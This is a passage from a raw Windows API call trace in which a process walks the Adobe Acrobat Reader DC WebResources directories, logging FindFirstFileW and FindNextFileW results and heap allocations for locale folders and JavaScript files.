ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.978] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0253.978] GetProcessHeap () returned 0xc10000 [0253.978] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.978] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0253.978] GetProcessHeap () returned 0xc10000 [0253.978] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0253.979] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.979] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.979] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0253.979] GetProcessHeap () returned 0xc10000 [0253.979] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.979] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0253.980] GetProcessHeap () returned 0xc10000 [0253.980] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.980] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.980] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.981] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.981] GetProcessHeap () returned 0xc10000 [0253.981] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.981] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0253.981] GetProcessHeap () returned 0xc10000 [0253.981] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.981] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.982] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.982] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.982] GetProcessHeap () returned 0xc10000 [0253.982] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.982] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0253.982] GetProcessHeap () returned 0xc10000 [0253.982] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0253.984] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.984] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.984] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0253.984] GetProcessHeap () returned 0xc10000 [0253.984] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.984] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0253.984] GetProcessHeap () returned 0xc10000 [0253.985] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0254.717] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.718] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0254.718] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0254.718] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0254.721] GetProcessHeap () returned 0xc10000 [0254.721] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0254.721] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0254.721] GetProcessHeap () returned 0xc10000 [0254.721] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0254.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0254.724] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.724] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0254.724] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0254.725] GetProcessHeap () returned 0xc10000 [0254.725] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0254.725] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0254.725] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0254.725] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0254.725] GetProcessHeap () returned 0xc10000 [0254.725] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0254.725] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0254.726] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0254.726] GetProcessHeap () returned 0xc10000 [0254.726] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0254.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\plugins\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0254.728] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.728] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0254.728] GetProcessHeap () returned 0xc10000 [0254.728] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0254.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\plugins\\rhp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0254.729] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.729] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1199, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic-rhp-app-selector.js", cAlternateFileName="GENERI~1.JS")) returned 1 [0254.730] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x324a, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic-rhp-app-tool-view.js", cAlternateFileName="GENERI~2.JS")) returned 1 [0254.730] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x324a, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic-rhp-app-tool-view.js", cAlternateFileName="GENERI~2.JS")) returned 0 [0254.730] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0254.731] GetProcessHeap () returned 0xc10000 [0254.731] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0254.731] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0254.731] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0254.731] GetProcessHeap () returned 0xc10000 [0254.731] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0254.731] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, 